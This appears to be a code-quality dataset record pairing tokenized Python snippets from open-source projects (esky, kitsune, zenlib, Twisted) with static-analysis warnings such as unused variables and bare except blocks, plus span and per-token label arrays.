", " _", "f_", "._", "write_", "(_", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "opts_", "=_", "dict_", "(_", "gui", "\\u", "only_", "=_", "exe_", "._", "gui", "\\u", "only_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pypy", "c_", "._", "compile", "\\u", "rpython_", "(_", "infile_", ",_", "outfile_", ",_", "**_", "opts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "compile", "d\\u", "exe", "s_", "[_", "(_", "source", "\\u", "hash_", ",_", "exe_", "._", "gui", "\\u", "only_", ")_", "]_", "=_", "outfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "Tr", "y", " ", "to", " ", "save", " ", "the", " ", "compile", "d", " ", "exe", " ", "for", " ", "future", " ", "use", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "COMPIL", "ED", "\\u", "BOOT", "STRA", "P", "\\u", "CACHE_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cache", "dfile", "_", "=_", "os_", "._", "path_", "._", "join_", "(_", "COMPIL", "ED", "\\u", "BOOT", "STRA", "P", "\\u", "CACHE_", ",_", "outname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shutil_", "._", "copy2_", "(_", "outfile_", ",_", "cache", "dfile", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Environ", "ment", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "copy", "\\u", "to", "\\u", "boots", "trap", "\\u", "env_", "(_", "outfile_", ",_", "relpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "copy", "\\u", "to", "\\u", "boots", "trap", "\\u", "env_", "(_", "self_", ",_", "src_", ",_", "dst_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Copy", " ", "the", " ", "named", " ", "file", " ", "int", "o", " ", "the", " ", "boots", "trap", " ", "environ", "ment", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "filename", " ", "is", " ", "als", "o", " ", "adde", "d", " ", "to", " ", "the", " ", "boots", "trap", " ", "manifest", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "dst_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dst_", "=_", "src_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "srcp", "ath_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "freez", "e\\u", "dir_", ",_", "src_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dst", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "boots", "trap", "\\u", "dir_", ",_", "dst_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isdir_", "(_", "srcp", "ath_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "copy", "\\u", "tree_", "(_", "srcp", "ath_", ",_", "dst", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "dst", "path_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mk", "path_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "dst", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "copy", "\\u", "file_", "(_", "srcp", "ath_", ",_", "dst", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "add", "\\u", "to", "\\u", "boots", "trap", "\\u", "manifest_", "(_", "dst", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "dst", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "to", "\\u", "boots", "trap", "\\u", "manifest_", "(_", "self_", ",_", "dst", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "freez", "e\\u", "dir_", ",_", "ES", "KY", "\\u", "CONTR", "OL", "\\u", "DIR_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "mkdir_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "freez", "e\\u", "dir_", ",_", "ES", "KY", "\\u", "CONTR", "OL", "\\u", "DIR_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f", "\\u", "manifest_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "freez", "e\\u", "dir_", ",_", "ES", "KY", "\\u", "CONTR", "OL", "\\u", "DIR_", ",_", "\"", "boots", "trap", "-", "manifest", ".", "txt", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "f", "\\u", "manifest_", ",_", "\"", "at", "\"_", ")_", "as_", "f", "\\u", "manifest_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f", "\\u", "manifest_", "._", "seek_", "(_", "0_", ",_", "os_", "._", "SEE", "K", "\\u", "END_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isdir_", "(_", "dst", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "(_", "dir", "nm_", ",_", "\\u_", ",_", "filen", "ms_", ")_", "in_", "os_", "._", "walk_", "(_", "dst", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "fn", "m_", "in_", "filen", "ms_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "fpath_", "=_", "os_", "._", "path_", "._", "join_", "(_", "dir", "nm_", ",_", "fn", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dpath_", "=_", "fpath_", "[_", "len_", "(_", "self_", "._", "boots", "trap", "\\u", "dir_", ")_", "+_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "sep_", "!=_", "\"/\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "dpath_", "=_", "dpath_", "._", "replace_", "(_", "os_", "._", "sep_", ",_", "\"/\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f", "\\u", "manifest_", "._", "write_", "(_", "dpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f", "\\u", "manifest_", "._", "write_", "(_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dst_", "=_", "dst", "path_", "[_", "len_", "(_", "self_", "._", "boots", "trap", "\\u", "dir_", ")_", "+_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "sep_", "!=_", "\"/\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "dst_", "=_", "dst_", "._", "replace_", "(_", "os_", "._", "sep_", ",_", "\"/\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f", "\\u", "manifest_", "._", "write_", "(_", "dst_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f", "\\u", "manifest_", "._", "write_", "(_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "bdist", "\\u", "es", "ky", "\\u", "patch_", "(_", "Command_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "e", " ", "a", " ", "patch", " ", "for", " ", "a", " ", "frozen", " ", "applica", "tion", " ", "in", " ", "'", "es", "ky", "'", " ", "format", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "distutils", " ", "command", " ", "can", " ", "be", " ", "used", " ", "to", " ", "create", " ", "a", " ", "patch", " ", "file", " ", "bet", "ween", " ", "two", "\\", "10", ";", " ", " ", " ", " ", "version", "s", " ", "of", " ", "an", " ", "applica", "tion", " ", "frozen", " ", "with", " ", "es", "ky", ".", " ", " ", "Suc", "h", " ", "a", " ", "patch", " ", "can", " ", "be", " ", "used", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "differential", " ", "update", "s", " ", "bet", "ween", " ", "applica", "tion", " ", "version", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "options_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "dist", "-", "dir", "='_", ",_", "'", "d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "director", "y", " ", "to", " ", "put", " ", "final", " ", "bui", "lt", " ", "distribu", "tion", "s", " ", "in", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "from", "-", "version", "='_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "version", " ", "against", " ", "whi", "ch", " ", "to", " ", "produce", " ", "patch", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky", "\\u", "patch_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "initialize", "\\u", "options_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "dist", "\\u", "dir_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "from", "\\u", "version_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky", "\\u", "patch_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "finalize", "\\u", "options_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set\\u", "undefined", "\\u", "options_", "(_", "'", "bdist", "'_", ",_", "(_", "'", "dist", "\\u", "dir", "'_", ",_", "'", "dist", "\\u", "dir", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky", "\\u", "patch_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fullname_", "=_", "self_", "._", "distribution_", "._", "get", "\\u", "fullname_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "platform_", "=_", "get", "\\u", "platform_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vdi", "r_", "=_", "\"%", "s", ".", "%", "s", "\"_", "%_", "(_", "fullname_", ",_", "platform_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "appname_", "=_", "split", "\\u", "app", "\\u", "version_", "(_", "vdi", "r_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "Ensur", "e", " ", "we", " ", "have", " ", "current", " ", "version", "'", "s", " ", "es", "ky", ",", " ", "as", " ", "target", " ", "for", " ", "patch", "._", "\\u\\u\\uNL\\u\\u\\u_", "target", "\\u", "es", "ky_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "dist", "\\u", "dir_", ",_", "vdi", "r_", "+_", "\".", "zip", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "target", "\\u", "es", "ky_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run", "\\u", "command_", "(_", "\"", "bdist", "\\u", "es", "ky", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "Generate", " ", "list", " ", "of", " ", "source", " ", "es", "ky", "s", " ", "to", " ", "patch", " ", "against", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "from", "\\u", "version_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "source", "\\u", "vdi", "r_", "=_", "join", "\\u", "app", "\\u", "version_", "(_", "appname_", ",_", "self_", "._", "from", "\\u", "version_", ",_", "platform_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "source", "\\u", "es", "ky", "s_", "=_", "[_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "dist", "\\u", "dir_", ",_", "source", "\\u", "vdi", "r_", "+_", "\".", "zip", "\"_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "source", "\\u", "es", "ky", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "nm_", "in_", "os_", "._", "listdir_", "(_", "self_", "._", "dist", "\\u", "dir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "target", "\\u", "es", "ky_", "._", "endswith_", "(_", "nm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "nm_", "._", "startswith_", "(_", "appname_", "+_", "\"-\"_", ")_", "and_", "nm_", "._", "endswith_", "(_", "platform_", "+_", "\".", "zip", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "source", "\\u", "es", "ky", "s_", "._", "append_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "dist", "\\u", "dir_", ",_", "nm_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "Write", " ", "each", " ", "patch", ",", " ", "transp", "arent", "ly", " ", "unzip", "ping", " ", "the", " ", "es", "ky_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "source", "\\u", "es", "ky_", "in_", "source", "\\u", "es", "ky", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "target", "\\u", "vdi", "r_", "=_", "os_", "._", "path_", "._", "basename_", "(_", "source", "\\u", "es", "ky_", ")_", "[_", ":_", "-_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target", "\\u", "version_", "=_", "split", "\\u", "app", "\\u", "version_", "(_", "target", "\\u", "vdi", "r_", ")_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "patch", "file_", "=_", "vdi", "r_", "+_", "\".", "from", "-%", "s", ".", "patch", "\"_", "%_", "(_", "target", "\\u", "version_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "patch", "file_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "dist", "\\u", "dir_", ",_", "patch", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "patch", "ing", "\"_", ",_", "target", "\\u", "es", "ky_", ",_", "\"", "against", "\"_", ",_", "source", "\\u", "es", "ky_", ",_", "\"=", ">\"_", ",_", "patch", "file_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "self_", "._", "dry", "\\u", "run_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "es", "ky_", "._", "patch_", "._", "main_", "(_", "[_", "\"-", "Z", "\"_", ",_", "\"", "diff", "\"_", ",_", "source", "\\u", "es", "ky_", ",_", "target", "\\u", "es", "ky_", ",_", "patch", "file_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "import_", "traceback_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "traceback_", "._", "print", "\\u", "exc_", "(_", ")_", "\\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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
mozilla/kitsune/kitsune/users/tests/test_forms.py
[ { "content": " def setUp(self):\n\n def test_valid(self):\n TwitterValidator('a_valid_name')\n\n def test_has_number(self):\n TwitterValidator('valid123')\n\n def test_has_letter_number_underscore(self):\n TwitterValidator('valid_name_123')", "metadata": "root.TwitterValidatorTestCase.setUp", "header": "['class', 'TwitterValidatorTestCase', '(', 'TestCase', ')', ':', '___EOS___']", "index": 91 } ]
[ { "span": "test_valid(", "start_line": 93, "start_column": 12, "end_line": 93, "end_column": 22 }, { "span": "test_has_number(", "start_line": 96, "start_column": 12, "end_line": 96, "end_column": 27 }, { "span": "test_has_letter_number_underscore(", "start_line": 99, "start_column": 12, "end_line": 99, "end_column": 45 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Twit", "ter", "Validat", "or", "Test", "Case_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "valid_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Twit", "ter", "Validator_", "(_", "'", "a", "\\u", "valid", "\\u", "name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "has", "\\u", "number_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Twit", "ter", "Validator_", "(_", "'", "valid", "123", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "has", "\\u", "letter", "\\u", "number", "\\u", "underscore", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Twit", "ter", "Validator_", "(_", "'", "valid", "\\u", "name", "\\u", "123", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
networkdynamics/zenlib/src/zen/tests/centrality.py
[ { "content": "import unittest\nfrom zen import *\nimport random\nimport time\nimport gc\nimport sys\n\nuse_networkx = False\ntry:\n\timport networkx\n\tuse_networkx = True\nexcept:\n\tpass\n\n\n\t\t\t\t\t\n\t\nif __name__ == '__main__':\n\tunittest.main()", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "except:", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 7 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zen", "_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "gc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "use", "\\u", "networkx_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "import_", "networkx_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "use", "\\u", "networkx_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "unittest_", "._", "main_", "(_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Conflicting attributes in base classes
nlloyd/SubliminalCollaborator/libs/twisted/internet/tcp.py
[ { "content": " class _TLSConnectionMixin(object):\n TLS = False", "metadata": "root._TLSConnectionMixin", "header": "['module', '___EOS___']", "index": 40 }, { "content": " class _TLSClientMixin(object):\n pass", "metadata": "root._TLSClientMixin", "header": "['module', '___EOS___']", "index": 42 }, { "content": "class _SocketCloser(object):\n _socketShutdownMethod = 'shutdown'\n", "metadata": "root._SocketCloser", "header": "['module', '___EOS___']", "index": 103 }, { "content": " def _closeSocket(self, orderly):\n # The call to shutdown() before close() isn't really necessary, because\n # we set FD_CLOEXEC now, which will ensure this is the only process\n # holding the FD, thus ensuring close() really will shutdown the TCP\n # socket. However, do it anyways, just to be safe.\n skt = self.socket\n try:\n if orderly:\n if self._socketShutdownMethod is not None:\n getattr(skt, self._socketShutdownMethod)(2)\n else:\n # Set SO_LINGER to 1,0 which, by convention, causes a\n # connection reset to be sent when close is called,\n # instead of the standard FIN shutdown sequence.\n self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,\n struct.pack(\"ii\", 1, 0))\n\n except socket.error:\n pass\n try:\n skt.close()\n except socket.error:\n pass", "metadata": "root._SocketCloser._closeSocket", "header": "['class', '_SocketCloser', '(', 'object', ')', ':', '___EOS___']", "index": 106 }, { "content": "class _AbortingMixin(object):\n \"\"\"\n Common implementation of C{abortConnection}.\n\n @ivar _aborting: Set to C{True} when C{abortConnection} is called.\n @type _aborting: C{bool}\n \"\"\"\n _aborting = False\n", "metadata": "root._AbortingMixin", "header": "['module', '___EOS___']", "index": 132 }, { "content": " def abortConnection(self):\n \"\"\"\n Aborts the connection immediately, dropping any buffered data.\n\n @since: 11.1\n \"\"\"\n if self.disconnected or self._aborting:\n return\n self._aborting = True\n self.stopReading()\n self.stopWriting()\n self.doRead = lambda *args, **kwargs: None\n self.doWrite = lambda *args, **kwargs: None\n 